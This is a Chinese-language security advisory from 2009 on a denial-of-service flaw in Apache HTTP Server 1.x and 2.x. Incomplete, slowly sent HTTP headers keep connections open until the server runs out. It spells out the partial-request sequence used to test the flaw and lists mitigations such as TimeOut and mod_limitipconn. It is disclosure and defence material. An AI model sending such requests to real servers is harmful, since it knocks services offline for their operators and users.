Apache服务器不完整HTTP请求拒绝服务漏洞

2009-07-08

受影响系统:

    Apache Group Apache 2.x
    Apache Group Apache 1.x

描述:Apache HTTP Server是一款流行的Web服务器。

如果远程攻击者使用发包工具向Apache服务器发送了不完整的HTTP请求,服务器会打开连接等待接受完整的头,但如果发包工具不再继续发送完整请求而是发送无效头的话,就会一直保持打开的连接。这种攻击所造成的影响很严重,因为攻击者不需要发送很大的通讯就可以耗尽服务器上的可用连接。也就是说,即使低带宽的用户也可以攻击大流量的服务器。


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
HTTP请求的初始部分是合法的:

GET / HTTP/1.1\r\n
Host: host\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n
Content-Length: 42\r\n

之后等待一段时间后再发送无效的头:

X-a: b\r\n

服务器会一直等待头的剩余部分。

建议:临时解决方法:

* 更改默认的TimeOut选项,或使用mod_limitipconn模块限制单个IP地址的连接数。

厂商补丁:

Apache Group
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.apache.org




向上